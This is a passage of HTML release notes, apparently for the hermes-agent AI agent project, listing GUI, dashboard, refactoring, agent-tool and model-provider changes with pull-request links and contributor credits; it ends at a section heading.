<li>Live subagent <strong>watch-windows</strong> — stream a delegated agent's activity into its own pane; composer status stack + editable prompts; open any chat in its own window; new-session-in-compact-window hotkey (<a href="https://github.com/NousResearch/hermes-agent/pull/47060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47060/hovercard">#47060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44630" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44630/hovercard">#44630</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43219" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43219/hovercard">#43219</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46951" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46951/hovercard">#46951</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Composer model selector + per-model presets + external-provider disconnect; surface every provider/model from <code>hermes model</code> in the GUI; unify provider list to one source; warn when a main-model switch leaves auxiliary tasks pinned elsewhere (<a href="https://github.com/NousResearch/hermes-agent/pull/46959" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46959/hovercard">#46959</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40563" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40563/hovercard">#40563</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49080/hovercard">#49080</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40286/hovercard">#40286</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Install <strong>any VS Code Marketplace theme</strong>; assignable themes per profile; window translucency slider; unified overlay design system + BrandMark + onboarding redesign (<a href="https://github.com/NousResearch/hermes-agent/pull/43292" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43292/hovercard">#43292</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42286/hovercard">#42286</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45086/hovercard">#45086</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40708" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40708/hovercard">#40708</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Resizable VS Code-themed terminal pane + palette polish; auto-detect RTL/bidi text direction in chat; Mac-style session switcher (^Tab / ^1-9); worktree-aware sidebar grouping; hover-reveal collapsed sidebars; messaging source folders in sidebar (<a href="https://github.com/NousResearch/hermes-agent/pull/42521" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42521/hovercard">#42521</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44596" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44596/hovercard">#44596</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43111" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43111/hovercard">#43111</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45273/hovercard">#45273</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41670" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41670/hovercard">#41670</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41751/hovercard">#41751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Arrow-key history + queue editing in composer; expand full command inline from the approval bar; follow-streaming-at-bottom + jump-to-bottom button; first-class cron jobs in the sidebar + dashboard scheduler (<a href="https://github.com/NousResearch/hermes-agent/pull/40234" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40234/hovercard">#40234</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44864" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44864/hovercard">#44864</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45263" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45263/hovercard">#45263</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40684" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40684/hovercard">#40684</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Desktop pets — pop-out overlay + notifications (<a href="https://github.com/NousResearch/hermes-agent/pull/47938" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47938/hovercard">#47938</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Full tool-backend config (pickers + per-backend settings) in Settings; run tool-backend post-setup installs from the GUI; uninstall the Chat GUI without removing the agent; Shift+click status-bar zap to toggle YOLO globally; <code>/browser connect</code> on a local gateway (<a href="https://github.com/NousResearch/hermes-agent/pull/41232" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41232/hovercard">#41232</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40559" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40559/hovercard">#40559</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40355" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40355/hovercard">#40355</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41666" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41666/hovercard">#41666</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47245/hovercard">#47245</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Japanese + Traditional Chinese language switching (<a href="https://github.com/NousResearch/hermes-agent/pull/40114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40114/hovercard">#40114</a>)</li>
<li>"Restart gateway" action (renamed from "Restart messaging") surfaced in the statusbar + on messaging save/toggle toasts; rendered logs are selectable/copyable (<a href="https://github.com/NousResearch/hermes-agent/pull/49094" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49094/hovercard">#49094</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Remote-gateway &amp; multi-profile</h3>
<ul>
<li><strong>Remote media relay</strong> — attach images/PDFs and display agent-written images over the network for the first time; remote-gateway file attachments via <code>file.attach</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41336" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41336/hovercard">#41336</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42634" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42634/hovercard">#42634</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Client + backend version buttons + remote-backend update flow; browse remote backend files; route global-remote profile REST calls; recover chat after sleep/wake by revalidating a stale remote backend (<a href="https://github.com/NousResearch/hermes-agent/pull/42181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42181/hovercard">#42181</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44326" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44326/hovercard">#44326</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47011" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47011/hovercard">#47011</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41350/hovercard">#41350</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Multi-profile fallout cleanup — WS auth + cross-profile session reads; release profile backends before delete; scope session list/model switch/timer per session (<a href="https://github.com/NousResearch/hermes-agent/pull/44529" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44529/hovercard">#44529</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42613" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42613/hovercard">#42613</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41103" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41103/hovercard">#41103</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41120" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41120/hovercard">#41120</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41182" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41182/hovercard">#41182</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Stream subagent activity into watch windows; keep streaming painting in unfocused secondary chat windows; recover stranded session windows (<a href="https://github.com/NousResearch/hermes-agent/pull/47060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47060/hovercard">#47060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47919" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47919/hovercard">#47919</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47655" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47655/hovercard">#47655</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Full-featured profile builder (model + skills + MCPs); unify multi-profile management — one machine dashboard + global profile switcher; profile-scoped skills &amp; toolsets; session switcher panel on the Chat tab (<a href="https://github.com/NousResearch/hermes-agent/pull/39084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39084/hovercard">#39084</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44007/hovercard">#44007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43808" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43808/hovercard">#43808</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49077" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49077/hovercard">#49077</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Skills hub browser rehaul — connected hubs, featured, preview + security scan; SKILL.md editor on Skills page + attach-skill selector in cron modals; full per-MCP catalog detail; full tool-backend config in the GUI (<a href="https://github.com/NousResearch/hermes-agent/pull/40384" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40384/hovercard">#40384</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44231/hovercard">#44231</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48520/hovercard">#48520</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40418" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40418/hovercard">#40418</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Enable webhooks from the Webhooks page; idempotent <code>hermes dashboard register</code>; auto-restart gateway after Telegram QR onboarding; file browser; change UI font from the theme picker; reasoning-effort picker in the chat sidebar (<a href="https://github.com/NousResearch/hermes-agent/pull/44021" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44021/hovercard">#44021</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42455" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42455/hovercard">#42455</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43424" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43424/hovercard">#43424</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43512" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43512/hovercard">#43512</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41145" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41145/hovercard">#41145</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49141" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49141/hovercard">#49141</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>God-file refactor wave (run_agent.py / cli.py / gateway/run.py)</h3>
<ul>
<li><strong><code>cli.py</code> main() 3297 → 954 lines</strong> — extracted 28 subcommand parsers into <code>hermes_cli/subcommands/</code>, then promoted 9 closure handlers; 32 slash-command handlers → <code>CLICommandsMixin</code>; 18 model-flow wizard functions → <code>model_setup_flows</code>; agent-construction cluster → <code>CLIAgentSetupMixin</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41798" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41798/hovercard">#41798</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41835/hovercard">#41835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41942" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41942/hovercard">#41942</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42174/hovercard">#42174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42153" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42153/hovercard">#42153</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>gateway/run.py</code> 19157 → 15870 lines</strong> — 42 slash-command handlers → <code>GatewaySlashCommandsMixin</code>; authorization cluster → <code>GatewayAuthorizationMixin</code>; kanban watcher loops → <code>GatewayKanbanWatchersMixin</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41886" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41886/hovercard">#41886</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42159" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42159/hovercard">#42159</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41849" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41849/hovercard">#41849</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>run_agent.py</code> turn loop</strong> — extracted prologue into <code>TurnContext</code>, post-loop tail into <code>finalize_turn</code>, consolidated inner-retry-loop recovery flags into <code>TurnRetryState</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41778" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41778/hovercard">#41778</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42169" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42169/hovercard">#42169</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41828" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41828/hovercard">#41828</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Agent loop, prompt &amp; tools</h3>
<ul>
<li><strong><code>memory</code> batch operations</strong> — atomic add/replace/remove array against the final char budget, so a single call can free space and add entries (<a href="https://github.com/NousResearch/hermes-agent/pull/48507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48507/hovercard">#48507</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>search_files</code> lossless densification</strong> — headroom evaluation report + the one densification improvement worth shipping (fewer tokens per result, same matches) (<a href="https://github.com/NousResearch/hermes-agent/pull/47866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47866/hovercard">#47866</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Removed the agent-callable <code>send_message</code> tool; coding-context posture across CLI/TUI/desktop/ACP; <code>read_file</code> extracts <code>.ipynb</code>/<code>.docx</code>/<code>.xlsx</code> to text (<a href="https://github.com/NousResearch/hermes-agent/pull/47856" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47856/hovercard">#47856</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43316" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43316/hovercard">#43316</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37082" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37082/hovercard">#37082</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Context-file handling: configurable truncation limit + warnings; scale context-file cap to model window + point agent at the truncated file (<a href="https://github.com/NousResearch/hermes-agent/pull/47251" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47251/hovercard">#47251</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47846" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47846/hovercard">#47846</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Compression: temporal anchoring in compaction summaries; raise compaction trigger to 85% for gpt-5.5 on Codex OAuth (<a href="https://github.com/NousResearch/hermes-agent/pull/41102" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41102/hovercard">#41102</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40957" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40957/hovercard">#40957</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Adaptive middleware (consumed by NeMo-Relay observer telemetry); usable mid-turn steer — desktop affordance + trusted injection (<a href="https://github.com/NousResearch/hermes-agent/pull/29724" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29724/hovercard">#29724</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40240" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40240/hovercard">#40240</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Provider &amp; model support</h3>
<ul>
<li>New models: <code>z-ai/glm-5.2</code> (verified 1M context, OpenRouter + Nous), <code>anthropic/claude-fable-5</code>, <code>laguna-m.1</code> + <code>nemotron-3-ultra</code>, xAI Composer 2.5 in the OAuth picker; default xAI to <code>grok-build-0.1</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/47391" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47391/hovercard">#47391</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45695" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45695/hovercard">#45695</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42979" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42979/hovercard">#42979</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42629" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42629/hovercard">#42629</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47908/hovercard">#47908</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47371" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47371/hovercard">#47371</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Model picker: Refresh-Models control to bust stale cache; persist Nous recommended-models to disk + fall back on Portal failure; seed catalog disk cache from checkout on update; MiniMax-M3 reports true 1M context (<a href="https://github.com/NousResearch/hermes-agent/pull/48691" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48691/hovercard">#48691</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42628" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42628/hovercard">#42628</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42614" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42614/hovercard">#42614</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43338" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43338/hovercard">#43338</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Anthropic adaptive models: default to modern thinking contract; never send <code>reasoning</code> field; route <code>reasoning_effort</code> to verbosity; require confirmation for very expensive selections (<a href="https://github.com/NousResearch/hermes-agent/pull/42991" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42991/hovercard">#42991</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43012" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43012/hovercard">#43012</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43436" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43436/hovercard">#43436</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43391" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43391/hovercard">#43391</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auth: auto-detect OpenRouter credential from the pool; keep Codex OAuth pool accounts distinct on add/re-auth; resolve xAI OAuth across profiles + write rotated tokens back to root; honor <code>model.default_headers</code> for custom OpenAI-compatible providers (<a href="https://github.com/NousResearch/hermes-agent/pull/42263" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42263/hovercard">#42263</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42316" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42316/hovercard">#42316</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46614" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46614/hovercard">#46614</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41096" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41096/hovercard">#41096</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock falls back to non-streaming <code>InvokeModel</code> when IAM denies the streaming variant; Ollama default <code>max_tokens=65536</code>; surface model refusals as <code>content_filter</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/44293" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44293/hovercard">#44293</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41694" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41694/hovercard">#41694</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46013" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46013/hovercard">#46013</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions, state &amp; multi-agent</h3>
<ul>
